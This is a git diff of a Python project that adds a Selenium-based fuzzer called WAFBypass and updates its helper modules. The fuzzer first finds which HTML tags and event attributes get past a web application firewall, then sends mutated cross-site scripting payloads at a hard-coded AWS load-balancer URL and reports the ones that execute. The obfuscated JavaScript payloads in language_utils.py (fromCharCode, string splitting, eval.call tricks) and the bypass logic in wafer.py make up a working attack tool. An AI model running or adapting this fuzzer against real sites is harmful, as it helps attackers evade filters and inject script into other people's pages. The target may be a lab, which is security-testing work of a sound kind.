diff --git a/language.py b/language.py index da17633..3b26658 100644 --- a/language.py +++ b/language.py @@ -1,6 +1,7 @@ from language_utils import gen_boolean, gen_color, gen_date, gen_email, \ gen_javascript, gen_number, gen_style, gen_text, gen_url, gen_name, \ - gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key + gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key, \ + gen_duration from utils import rndstr, choice from mutations import Mutations @@ -15,6 +16,9 @@ class HTMLTag: self.nameattr = rndstr(10) self.rndchrpos = {} self.mutator: Mutations = None + self.content = rndstr(10) + self.ids = [] + self.names = [] def set_mutator(self, mutator): self.mutator = mutator @@ -28,10 +32,11 @@ class HTMLTag: if self.mutator: # mutate attributes for attr in self.attributes: - if attr.attr == AttrType.ATTR_TAG_SPECIFIC: + attr.__str__() + if attr.attr == AttrType.ATTR_TAG_SPECIFIC and attr.kind != HTMLTagAttributeType.TypeFlag: cases = [ - lambda x: self.my_mutate_attr(x), - lambda x: self.mutator.mutate_attr(x.value), + lambda x: self.mutator.mutate_attr(x), + lambda x: self.mutator.mutate_value(x), ] choice(cases)(attr) elif attr.attr == AttrType.ATTR_EVENT: @@ -53,6 +58,8 @@ class HTMLTag: for attr in self.attributes: tag += f"{attr} " tag += ">" + if len(self.children) == 0: + tag += f"{self.content}" for child in self.children: tag += f"{child}" tag += f"" @@ -80,6 +87,7 @@ class HTMLTagAttributeType: TypeDir = 13 TypeWindowTarget = 14 TypeAccessKey = 15 + TypeDuration = 16 Generators = { @@ -99,6 +107,7 @@ Generators = { HTMLTagAttributeType.TypeDir: gen_dir, HTMLTagAttributeType.TypeWindowTarget: gen_wtarget, HTMLTagAttributeType.TypeAccessKey: gen_access_key, + HTMLTagAttributeType.TypeDuration: gen_duration, } diff --git a/language_utils.py b/language_utils.py index 3f16420..6a95e22 100644 --- a/language_utils.py +++ b/language_utils.py @@ -1,20 +1,8 @@ -from utils import choice +from utils import choice, rndstr def gen_text(): - cases = { - 0: lambda: 'alert(0)', - 1: lambda: 'prompt\x600\x60', - 2: lambda: '"confirm\x600\x60"', - 3: lambda: 'window["alert"](0)', - 4: lambda: 'window["prompt"](0)', - 5: lambda: 'window["confirm"](0)', - 6: lambda: '"alert\x600\x60"', - 7: lambda: '"prompt\x600\x60"', - 8: lambda: '"alert(1)"', - } - - return choice(cases)() + return rndstr(8) def gen_boolean(): @@ -25,7 +13,7 @@ def gen_boolean(): 3: lambda: 'false', 4: lambda: 'null', 5: lambda: 'undefined', - 6: lambda: '""', + 6: lambda: '', 7: lambda: '0', 8: lambda: '1', } @@ -37,13 +25,8 @@ def gen_number(): cases = { 0: lambda: '0', 1: lambda: '1', - 2: lambda: '0.1', - 3: lambda: '1.1', - 4: lambda: '0x1', - 5: lambda: '0b1', - 6: lambda: '0o1', - 7: lambda: '1e1', - 8: lambda: '1e-1', + 2: lambda: '2', + 3: lambda: '3', } return choice(cases)() @@ -68,17 +51,19 @@ def gen_color(): def gen_javascript(): cases = { 0: lambda: 'alert(0)', - 1: lambda: 'prompt\x600\x60', - 2: lambda: '"confirm\x600\x60"', - 3: lambda: 'window["alert"](0)', - 4: lambda: 'window["prompt"](0)', - 5: lambda: 'window["confirm"](0)', - 6: lambda: '"alert\x600\x60"', - 7: lambda: '"prompt\x600\x60"', - 8: lambda: '"alert(1)"', - 9: lambda: 'console.log(alert(1))//', - 10: lambda: 'console.log(alert(1))/*', + 1: lambda: 'prompt`0`', + 2: lambda: 'confirm`0`', + 3: lambda: "window['alert'](0)", + 4: lambda: "window['prompt'](0)", + 5: lambda: "window['confirm'](0)", + 6: lambda: 'eval.call`${String.fromCharCode(97,108,101,114,116,40,49,41)}`', + 7: lambda: 'Function(`a${`lert\`1\``}`).call``', + 8: lambda: "window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//", + 9: lambda: "eval.call`${'alert\x2823\x29'}`", + 10: lambda: '[].sort.call`${alert}23`', 11: lambda: '{1:alert(1)}', + 12: lambda: '(()=>{alert`1`})()', + 13: lambda: 'x=alert;x(1);', } return choice(cases)() @@ -90,6 +75,8 @@ def gen_style(): 0: lambda: 'background-image:url("javascript:alert(1)")', 1: lambda: 'expression(alert(1))', 2: lambda: 'expression\x600\x60', + 3: lambda: 'animation-name:x;animation-duration:0s;', + 4: lambda: '@keyframes x{}' } return choice(cases)() @@ -119,27 +106,19 @@ def gen_email(): def gen_date(): - return '' + return '2020-01-01' -def gen_target(root): - if root is None: - return None - ids = [] - ids.append(root.id) - for child in root.children: - ids.append(child.id) - return choice(ids) +def gen_target(tag): + if tag is None: + return "" + return choice(tag.ids) -def gen_name(root): - if root is None: - return None - names = [] - names.append(root.nameattr) - for child in root.children: - names.append(child.nameattr) - return choice(names) +def gen_name(tag): + if tag is None: + return "" + return choice(tag.names) def gen_flag(): @@ -160,3 +139,7 @@ def gen_wtarget(): def gen_access_key(): return 'X' + + +def gen_duration(): + return choice(["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]) + choice(["s", "ms"]) diff --git a/mutations.py b/mutations.py index ce44f19..8743e3c 100644 --- a/mutations.py +++ b/mutations.py @@ -15,27 +15,27 @@ class Mutations: return choice_percent(cases)(attr) - def mutate_value(self, value: str): + def mutate_value(self, attr): cases = { 70: lambda x: x, 20: self.mutate_value_newline, 10: self.mutate_value_unicode, } - return choice_percent(cases)(value) + return choice_percent(cases)(attr) def mutate_tag(self, tag): cases = { - 70: lambda x: x, - 30: self.mutate_tag_insert_random_pos, + 95: lambda x: x, + 5: self.mutate_tag_insert_random_pos, } return choice_percent(cases)(tag) def mutate_js(self, js: str): cases = { - 70: lambda x: x, - 30: self.mutate_js_insert_random_pos, + 95: lambda x: x, + 5: self.mutate_js_insert_random_pos, } return choice_percent(cases)(js) @@ -60,6 +60,10 @@ class Mutations: def mutate_value_newline(attr): # find a random position in the value # and insert a newline + if (attr.value is None): + print("attr.value is None") + print(attr) + exit(0) pos = choice(range(len(attr.value))) attr.value = f"{attr.value[:pos]}\n{attr.value[pos:]}" return attr @@ -84,7 +88,8 @@ class Mutations: nmutations = choice(range(1, 4)) for _ in range(nmutations): - tag.rndchrpos[pos] = choice_percent(chars)() + mut = choice_percent(chars) + tag.rndchrpos[pos] = mut() return tag diff --git a/tags.py b/tags.py index d0b99f5..b2e8f5d 100644 --- a/tags.py +++ b/tags.py @@ -3,6 +3,7 @@ from language import HTMLAttribute, HTMLTag, HTMLTagAttributeType Tags = [ HTMLTag('a', self_closing=False), + HTMLTag('animate', self_closing=True), HTMLTag('abbr', self_closing=False), HTMLTag('acronym', self_closing=False), HTMLTag('address', self_closing=False), @@ -268,6 +269,15 @@ TagSpecificAttributes = { HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), HTMLAttribute('type', HTMLTagAttributeType.TypeText), ], + 'animate': [ + HTMLAttribute('attributeName', HTMLTagAttributeType.TypeText), + HTMLAttribute('attributeType', HTMLTagAttributeType.TypeText), + HTMLAttribute('begin', HTMLTagAttributeType.TypeText), + HTMLAttribute('by', HTMLTagAttributeType.TypeText), + HTMLAttribute('calcMode', HTMLTagAttributeType.TypeText), + HTMLAttribute('dur', HTMLTagAttributeType.TypeDuration), + HTMLAttribute('end', HTMLTagAttributeType.TypeText), + ], 'abbr': [ HTMLAttribute('title', HTMLTagAttributeType.TypeText), ], @@ -286,7 +296,6 @@ TagSpecificAttributes = { HTMLAttribute('data', HTMLTagAttributeType.TypeURL), HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('object', HTMLTagAttributeType.TypeURL), HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), @@ -361,7 +370,6 @@ TagSpecificAttributes = { HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText), HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag), HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('title', HTMLTagAttributeType.TypeText), HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('value', HTMLTagAttributeType.TypeText), @@ -442,7 +450,6 @@ TagSpecificAttributes = { HTMLAttribute('align', HTMLTagAttributeType.TypeText), HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('src', HTMLTagAttributeType.TypeURL), HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), @@ -451,7 +458,6 @@ TagSpecificAttributes = { 'fieldset': [ HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), HTMLAttribute('form', HTMLTagAttributeType.TypeName), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), ], 'figcaption': [ HTMLAttribute('title', HTMLTagAttributeType.TypeText), @@ -473,7 +479,6 @@ TagSpecificAttributes = { HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText), HTMLAttribute('enctype', HTMLTagAttributeType.TypeText), HTMLAttribute('method', HTMLTagAttributeType.TypeText), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('novalidate', HTMLTagAttributeType.TypeFlag), HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), ], @@ -481,7 +486,6 @@ TagSpecificAttributes = { HTMLAttribute('frameborder', HTMLTagAttributeType.TypeFlag), HTMLAttribute('marginheight', HTMLTagAttributeType.TypeNumber), HTMLAttribute('marginwidth', HTMLTagAttributeType.TypeNumber), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('noresize', HTMLTagAttributeType.TypeFlag), HTMLAttribute('scrolling', HTMLTagAttributeType.TypeText), HTMLAttribute('src', HTMLTagAttributeType.TypeURL), @@ -537,7 +541,6 @@ TagSpecificAttributes = { HTMLAttribute('csp', HTMLTagAttributeType.TypeText), HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), HTMLAttribute('importance', HTMLTagAttributeType.TypeText), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), HTMLAttribute('sandbox', HTMLTagAttributeType.TypeText), HTMLAttribute('src', HTMLTagAttributeType.TypeURL), @@ -556,7 +559,6 @@ TagSpecificAttributes = { HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag), HTMLAttribute('loading', HTMLTagAttributeType.TypeText), HTMLAttribute('longdesc', HTMLTagAttributeType.TypeURL), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), HTMLAttribute('sizes', HTMLTagAttributeType.TypeText), HTMLAttribute('src', HTMLTagAttributeType.TypeURL), @@ -590,7 +592,6 @@ TagSpecificAttributes = { HTMLAttribute('min', HTMLTagAttributeType.TypeText), HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber), HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('pattern', HTMLTagAttributeType.TypeText), HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText), HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag), @@ -601,6 +602,7 @@ TagSpecificAttributes = { HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('value', HTMLTagAttributeType.TypeText), HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('popovertarget', HTMLTagAttributeType.TypeTarget), ], 'ins': [ @@ -639,7 +641,6 @@ TagSpecificAttributes = { HTMLAttribute('title', HTMLTagAttributeType.TypeText), ], 'map': [ - HTMLAttribute('name', HTMLTagAttributeType.TypeName), ], 'mark': [ HTMLAttribute('title', HTMLTagAttributeType.TypeText), @@ -665,7 +666,6 @@ TagSpecificAttributes = { HTMLAttribute('charset', HTMLTagAttributeType.TypeText), HTMLAttribute('content', HTMLTagAttributeType.TypeText), HTMLAttribute('http-equiv', HTMLTagAttributeType.TypeText), - HTMLAttribute('name', HTMLTagAttributeType.TypeText), ], 'meter': [ HTMLAttribute('high', HTMLTagAttributeType.TypeNumber), @@ -697,7 +697,6 @@ TagSpecificAttributes = { HTMLAttribute('form', HTMLTagAttributeType.TypeName), HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('standby', HTMLTagAttributeType.TypeText), HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL), @@ -725,13 +724,11 @@ TagSpecificAttributes = { 'output': [ HTMLAttribute('for', HTMLTagAttributeType.TypeName), HTMLAttribute('form', HTMLTagAttributeType.TypeName), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), ], 'p': [ HTMLAttribute('align', HTMLTagAttributeType.TypeText), ], 'param': [ - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('value', HTMLTagAttributeType.TypeText), HTMLAttribute('valuetype', HTMLTagAttributeType.TypeText), @@ -775,7 +772,6 @@ TagSpecificAttributes = { HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), HTMLAttribute('form', HTMLTagAttributeType.TypeName), HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), ], @@ -857,7 +853,6 @@ TagSpecificAttributes = { HTMLAttribute('form', HTMLTagAttributeType.TypeName), HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber), HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText), HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag), HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), diff --git a/utils.py b/utils.py index 1820bb6..7bbb434 100644 --- a/utils.py +++ b/utils.py @@ -7,10 +7,12 @@ def rndstr(length): def choice(arr): + # randomize seed return random.choice(arr) def rndunicode(): + # randomize seed return chr(random.randint(0, 0x10FFFF)) @@ -25,21 +27,17 @@ def choice_percent(elements): # } # that means we have 10% chance to get 'a', 20% chance to get 'b', etc. - # get total percent - total_percent = 0 - for percent in elements: - total_percent += percent + total_percent = sum(elements.keys()) # get random number - random.seed(int(time.time() * 1000)) - rnd = random.randint(0, total_percent) + rnd = random.randint(1, total_percent) # get action - for percent in elements: - if rnd < percent: - return elements[percent] - else: - rnd -= percent + cumulative_percent = 0 + for percent, action in elements.items(): + cumulative_percent += percent + if rnd <= cumulative_percent: + return action # should not reach here return None diff --git a/wafer.py b/wafer.py new file mode 100644 index 0000000..9762c9f --- /dev/null +++ b/wafer.py @@ -0,0 +1,348 @@ +from selenium import webdriver +from selenium.webdriver.support.ui import WebDriverWait +from selenium.webdriver.chrome import service +from urllib.parse import urlparse +from urllib.parse import urlencode +from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType +from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags +from mutations import Mutations +from utils import choice, choice_percent +from threading import Thread, Lock +import random +import time + +# WAFBypass class + + +class TagList(): + def __init__(self, e): + self.l = list(e) + + def __str__(self) -> str: + s = "" + for tag in self.l: + s += f"{tag}" + return s + + +class FuzzQueue(): + def __init__(self) -> None: + self.queue = [] + self.lock = Lock() + + def push(self, tag): + self.lock.acquire() + self.queue.append(tag) + self.lock.release() + + def pop(self): + if len(self.queue) == 0: + return None + self.lock.acquire() + element = self.queue.pop() + self.lock.release() + return element + + def __len__(self): + return len(self.queue) + + +class WAFBypass(): + code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;};window.confirm = window.alert;window.prompt = window.alert;" + trigger = """ +var ids = {0}; +for (var i = 0; i < ids.length; i++) {{ + var element = document.getElementById(ids[i]); + if(!element) continue; + // trigger all possible events click, mouseover, etc. + var events = ['click', 'mouseover', 'mousedown', 'mouseup', 'mousemove', 'mouseout', 'mouseenter', 'mouseleave', 'dblclick', 'contextmenu', 'wheel', 'select', 'pointerdown', 'pointerup', 'pointermove', 'pointerover', 'pointerout', 'pointerenter', 'pointerleave', 'gotpointercapture', 'lostpointercapture']; + try {{ + for (var j = 0; j < events.length; j++) {{ + var event = new MouseEvent(events[j], {{bubbles: true}}); + element.dispatchEvent(event); + }} + element.focus(); + element.blur(); + // trigger accesskey ctrl+alt+X + element.dispatchEvent(new KeyboardEvent('keydown', {{ctrlKey: true, altKey: true, key: 'x'}})); + }} catch (e) {{}} +}} + """ + + def __init__(self, url, param) -> None: + self.param = param + self.options = webdriver.ChromeOptions() + self.options.add_argument('--no-sandbox') + # self.options.add_argument('--headless') + self.options.add_argument('--disable-gpu') + self.options.add_experimental_option( + "excludeSwitches", ["enable-logging"]) + self.unfiltered_attributes = {} + self.unfiltered_tags = [] + self.driver = webdriver.Chrome( + options=self.options, + service=service.Service(service_args=["--log-path=NUL"])) + self.url = urlparse(url) + self.mutator = Mutations() + self.queue = FuzzQueue() + self.threads = [] + self.lock = Lock() + self.payloads = 0 + + random.seed(time.time_ns()) + + if not self.check_connection(): + raise Exception("Connection Error") + + self.driver.execute_cdp_cmd( + "Page.addScriptToEvaluateOnNewDocument", {"source": self.code}) + + def inc_payloads(self): + self.lock.acquire() + self.payloads += 1 + self.lock.release() + + def check_connection(self): + try: + self.driver.get(self.url.geturl()) + return True + except: + return False + + def wait_for_pageload(self, driver): + try: + WebDriverWait(driver, 4).until( + lambda driver: driver.execute_script("return document.readyState") == "complete") + except TimeoutError: + raise Exception("Page Load Error") + + def get_page_title(self): + return self.driver.title + + @property + def is_403(self): + return self.driver.title == "403 Forbidden" + + @property + def triggered_xss(self): + return self.driver.execute_script("return window.alert_trigger") + + def navigate(self, driver, url): + driver.get(url) + self.wait_for_pageload(driver) + + is403 = False + + if self.is_403: + is403 = True + else: + is403 = False + + triggerxss = self.triggered_xss + + return (is403, triggerxss) + + def identify_unfiltered_attributes(self): + try: + self.unfiltered_attributes["global"] = [] + self.unfiltered_attributes["events"] = [] + self.unfiltered_attributes["tag_specific"] = {} + + for attr in GlobalAttributes: + encoded = urlencode({self.param: f"{attr}"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, _ = self.navigate(self.driver, url) + if not is403: + self.unfiltered_attributes["global"].append(attr) + + for attr in EventsAttributes: + encoded = urlencode({self.param: f"{attr}"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, _ = self.navigate(self.driver, url) + if not is403: + self.unfiltered_attributes["events"].append(attr) + + for tag in self.unfiltered_tags: + if tag not in self.unfiltered_attributes["tag_specific"]: + self.unfiltered_attributes["tag_specific"][tag.name] = [] + try: + for attr in TagSpecificAttributes[tag.name]: + encoded = urlencode( + {self.param: f"<{tag.name} {attr}/>"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, _ = self.navigate(self.driver, url) + if not is403: + self.unfiltered_attributes["tag_specific"][tag.name].append( + attr) + except KeyError: + print(f"Tag {tag.name} not found in TagSpecificAttributes") + except KeyboardInterrupt: + return + + def identify_unfiltered_tags(self): + try: + for tag in Tags: + encoded = urlencode({self.param: f"{tag}"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, _ = self.navigate(self.driver, url) + if not is403: + self.unfiltered_tags.append(tag) + except KeyboardInterrupt: + return + + def dry_run(self): + try: + self.identify_unfiltered_tags() + self.identify_unfiltered_attributes() + except Exception as e: + raise Exception(f"Dry Run Error: {e}") + except KeyboardInterrupt: + return + + def get_tag(self): + try: + tag = choice(self.unfiltered_tags) + # make a copy of tag to avoid mutating the original + tag = HTMLTag(tag.name, tag.self_closing) + tag.set_mutator(self.mutator) + + nglobattr = choice(range(1, 3)) + nattr = choice(range(1, 3)) + + globals = list(self.unfiltered_attributes["global"]) + + for _ in range(0, nglobattr): + if len(globals) == 0: + break + attr = choice(globals) + globals.remove(attr) + # make a copy of attr to avoid mutating the original + attr = HTMLAttribute(attr.name, attr.kind, + glob=True, root=None) + tag.add_attribute(attr) + + attr = choice(self.unfiltered_attributes["events"]) + # make a copy of attr to avoid mutating the original + attr = HTMLAttribute(attr.name, attr.kind, + glob=False, root=None) + tag.add_attribute(attr) + + tag_specific = list( + self.unfiltered_attributes["tag_specific"][tag.name]) + + for _ in range(0, nattr): + if len(tag_specific) == 0: + break + attr = choice(tag_specific) + tag_specific.remove(attr) + # make a copy of attr to avoid mutating the original + attr = HTMLAttribute(attr.name, attr.kind, + glob=False, root=None) + tag.add_attribute(attr) + + addchildren = { + 70: lambda: False, + 30: lambda: True + } + + should_add = choice_percent(addchildren) + + if (should_add()): + tag.children.append(self.get_tag()) + + return tag + except KeyboardInterrupt: + return None + + def fuzz_thread(self, driver: webdriver.Chrome, started): + driver.execute_cdp_cmd( + "Page.addScriptToEvaluateOnNewDocument", {"source": self.code}) + + while not started: + time.sleep(0.1) + pass + + while True: + element = self.queue.pop() + if not element: + break + encoded = urlencode({self.param: f"{element}"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, triggered = self.navigate(driver, url) + + # close window + driver.close() + + def get_tag_id(self, tag): + tag_ids = [] + tag_ids.append(tag.id) + if len(tag.children) >= 0: + for child in tag.children: + tag_ids.extend(self.get_tag_id(child)) + + return tag_ids + + def get_tag_name(self, tag): + tag_names = [] + tag_names.append(tag.nameattr) + if len(tag.children) >= 0: + for child in tag.children: + tag_names.extend(self.get_tag_name(child)) + + return tag_names + + def get_ids(self, tags): + tag_ids = [] + for tag in tags: + tag_ids.extend(self.get_tag_id(tag)) + return tag_ids + + def get_names(self, tags): + tag_names = [] + for tag in tags: + tag_names.extend(self.get_tag_name(tag)) + return tag_names + + def populate_ids_names(self, tags): + ids = self.get_ids(tags) + names = self.get_names(tags) + + def populate(tag, ids=ids, names=names): + tag.ids = ids + tag.names = names + for child in tag.children: + populate(child) + + for tag in tags: + populate(tag) + + def test(self): + try: + self.dry_run() + + print("Starting fuzzer") + + while True: + tags = [self.get_tag() for _ in range(0, choice(range(1, 3)))] + self.populate_ids_names(tags) + payload = TagList(tags) + encoded = urlencode({self.param: f"{payload}"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, triggered = self.navigate(self.driver, url) + if triggered: + print(f"XSS Payload: {payload}") + self.driver.execute_script( + self.trigger.format(self.get_ids(tags))) + triggered = self.triggered_xss + if triggered: + print(f"XSS Payload: {payload}") + + except KeyboardInterrupt: + print("Stopping fuzzer") + self.driver.close() + return + + +w = WAFBypass( + "http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com", "param2") +w.test() diff --git a/xzzuf.py b/xzzuf.py deleted file mode 100644 index c66847a..0000000 --- a/xzzuf.py +++ /dev/null @@ -1,181 +0,0 @@ -from urllib.parse import unquote -import selenium -import time -from selenium import webdriver -from selenium.webdriver.support.ui import WebDriverWait -from urllib.parse import urlparse -from urllib.parse import urlencode -from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType -from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags -from mutations import Mutations -from utils import choice - -# WAFBypass class - - -class WAFBypass(): - code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}" - - def __init__(self, url) -> None: - self.options = webdriver.ChromeOptions() - self.options.add_argument('--no-sandbox') - self.options.add_argument('--headless') - self.unfiltered_attributes = {} - self.unfiltered_tags = [] - self.driver = webdriver.Chrome(options=self.options) - self.url = urlparse(url) - self.mutator = Mutations() - - if not self.check_connection(): - raise Exception("Connection Error") - - self.driver.execute_cdp_cmd( - "Page.addScriptToEvaluateOnNewDocument", {"source": self.code}) - - def check_connection(self): - try: - self.driver.get(self.url.geturl()) - return True - except: - return False - - def wait_for_pageload(self): - try: - WebDriverWait(self.driver, 4).until( - lambda driver: driver.execute_script("return document.readyState") == "complete") - except TimeoutError: - raise Exception("Page Load Error") - - def get_page_title(self): - return self.driver.title - - @property - def is_403(self): - return self.driver.title == "403 Forbidden" - - @property - def triggered_xss(self): - return self.driver.execute_script("return window.alert_trigger") - - def navigate(self, url): - self.driver.get(url) - self.wait_for_pageload() - - is403 = False - - if self.is_403: - is403 = True - else: - is403 = False - - triggerxss = self.triggered_xss - - return (is403, triggerxss) - - def identify_unfiltered_attributes(self): - try: - self.unfiltered_attributes["global"] = [] - self.unfiltered_attributes["events"] = [] - self.unfiltered_attributes["tag_specific"] = {} - - for attr in GlobalAttributes: - encoded = urlencode({"param2": f"{attr}"}) - url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" - is403, _ = self.navigate(url) - if not is403: - self.unfiltered_attributes["global"].append(attr) - - for attr in EventsAttributes: - encoded = urlencode({"param2": f"{attr}"}) - url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" - is403, _ = self.navigate(url) - if not is403: - self.unfiltered_attributes["events"].append(attr) - - for tag in self.unfiltered_tags: - try: - for attr in TagSpecificAttributes[tag.name]: - if tag not in self.unfiltered_attributes["tag_specific"]: - self.unfiltered_attributes["tag_specific"][tag.name] = [ - ] - encoded = urlencode( - {"param2": f"<{tag.name} {attr}/>"}) - url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" - is403, _ = self.navigate(url) - if not is403: - self.unfiltered_attributes["tag_specific"][tag.name].append( - attr) - except KeyError: - print(f"Tag {tag.name} not found in TagSpecificAttributes") - except KeyboardInterrupt: - self.driver.close() - exit(0) - - def identify_unfiltered_tags(self): - try: - for tag in Tags: - encoded = urlencode({"param2": f"{tag}"}) - url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" - is403, _ = self.navigate(url) - if not is403: - self.unfiltered_tags.append(tag) - except KeyboardInterrupt: - self.driver.close() - exit(0) - - def dry_run(self): - try: - self.identify_unfiltered_tags() - self.identify_unfiltered_attributes() - for tag in self.unfiltered_tags: - tag.set_mutator(self.mutator) - except Exception as e: - raise Exception(f"Dry Run Error: {e}") - - def run_fuzz(self): - self.dry_run() - - def test(self): - try: - self.dry_run() - print("Unfiltered Tags:") - for tag in self.unfiltered_tags: - print(tag.name) - for _ in range(0, 10): - tag = choice(self.unfiltered_tags) - - tag.attributes = [] - tag.children = [] - - nglobattr = choice(range(1, 3)) - nattr = choice(range(0, 3)) - - globals = self.unfiltered_attributes["global"] - - for _ in range(0, nglobattr): - if len(globals) == 0: - break - attr = choice(globals) - globals.remove(attr) - tag.add_attribute(attr) - - tag.add_attribute(choice(self.unfiltered_attributes["events"])) - - tag_specific = self.unfiltered_attributes["tag_specific"][tag.name] - - for _ in range(0, nattr): - if len(tag_specific) == 0: - break - attr = choice(tag_specific) - tag_specific.remove(attr) - tag.add_attribute(attr) - - print(tag) - - except KeyboardInterrupt: - self.driver.close() - exit(0) - - -w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com") -w.test()